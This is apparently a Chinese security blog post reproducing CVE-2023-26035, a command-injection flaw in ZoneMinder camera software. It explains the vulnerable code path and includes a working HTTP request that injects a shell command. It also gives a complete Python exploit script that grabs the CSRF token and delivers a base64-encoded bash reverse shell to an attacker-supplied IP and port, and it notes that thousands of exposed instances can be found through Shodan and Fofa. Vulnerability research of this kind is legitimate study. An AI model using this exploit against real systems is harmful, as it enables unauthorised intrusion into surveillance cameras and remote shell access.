免责声明
本公众号着重分享技术内容,所提供信息旨在促进技术交流。对于因信息使用而引起的任何损失,本公众号及作者概不负责。请谨慎行事,安全至上。
前言
-
某日在网上游荡,碰到一个登录站点,ZoneMinder,之前没见过,去网上搜了一下,是一款网络摄像机的应用程序
-
查了一下今年有爆过CVE-2023-26035,但是网上没有找到复现文章,资料很少,借此出一篇ZoneMinder RCE漏洞的复现
介绍
ZoneMinder(简称ZM)是一套基于Linux操作系统的摄像机的视像数据监控的应用软件(大家可以简单理解为网络摄像机)。ZoneMinder支持单一或多台视像镜头应用,包括摄取、分析、记录(包括移动侦测功能)、和监视来源。
ZoneMinder 支持 IP、USB 和模拟摄像机。1.36.33 和 1.37.33 之前的版本容易因缺少授权而遭受未经身份验证的远程代码执行。快照操作没有权限检查,它需要一个 id 来获取现有监视器,但可以传递一个对象来创建一个新监视器。TriggerOn 最终使用提供的 Id 调用 shell_exec。
原理
if ( $action == 'create' ) {
if ( ! (isset($_REQUEST['monitor_ids']) and count($_REQUEST['monitor_ids']) > 0 ) ) {
ZMError('No monitor ids given in snapshot creation request');
return;
}
$snapshot = new ZMSnapshot();
随后调用$monitor->TriggerOn()方法,触发事件 $event_id = $monitor->TriggerOn();
ZMDebug("Have event $event_id for monitor $monitor_id");
TriggerOn()内部又调用AlarmCommand()方法 function TriggerOn() {
$output = $this->AlarmCommand('on');
AlarmCommand()方法通过shell_exec执行外部命令, $cmd = getZmuCommand($cmd.' -m '.validCardinal($this->{'Id'}));
$output = shell_exec($cmd);
但在构造命令时,直接加入monitor_ids参数值,而没有过滤特殊字符,导致命令注入,例如请求时传参monitor_ids[0][Id]=;touch/tmp/pwnd,会形成命令执行。 利用
成功利用需要先从登陆页面获取csrf令牌。
<div class="container">
<form class="center-block" name="loginForm" id="loginForm" method="post" action="?view=login"><input type='hidden' name='__csrf_magic' value="key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789" />
<input type="hidden" name="action" value="login"/>
<input type="hidden" name="postLoginQuery" value="" />
在上面的例子中,令牌是1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789。然后构造POST请求,伪装成正常操作,但向monitor_ids注入恶意命令
这样就可以实现命令执行,比如写入文件或获取Shell
POST /zm/index.php HTTP/1.1
Host: 192.168.65.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47
Content-Type: application/x-www-form-urlencoded
Content-Length: 268
view=snapshot&action=create&monitor_ids[0][Id]=;touch%20/tmp/pwnd&__csrf_magic=key:1b3da97bd640e57e0ce5dc6f5a09e7a1a9368004,1699900789
获取shell
以下是POC代码 import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64
class ZoneMinderExploit:
def __init__(self, target_uri):
self.target_uri = target_uri
self.csrf_magic = None
def fetch_csrf_token(self):
print("[>] fetching csrt token")
response = requests.get(self.target_uri)
self.csrf_magic = self.get_csrf_magic(response)
if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},d+', self.csrf_magic):
print(f"[>] recieved the token: {self.csrf_magic}")
return True
print("[!] unable to fetch or parse token.")
return False
def get_csrf_magic(self, response):
return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)
def execute_command(self, cmd):
print("[>] sending payload..")
data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
response = requests.post(f"{self.target_uri}/index.php", data=data)
print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")
def exploit(self, payload):
if self.fetch_csrf_token():
print(f"[>] executing...")
self.execute_command(payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
parser.add_argument('-p', '--port', required=True, help='port')
args = parser.parse_args()
ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"
ps2 = base64.b64encode(ps1.encode()).decode()
payload = f"echo {ps2} | base64 -d | /bin/bash"
ZoneMinderExploit(args.target_url).exploit(payload)
Shodan 粗略看一下:
Fofa(4174条,尊不少) 例子:
反弹shell:
原文始发于微信公众号(大仙安全说):RCE漏洞复现 | CVE-2023-26035
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论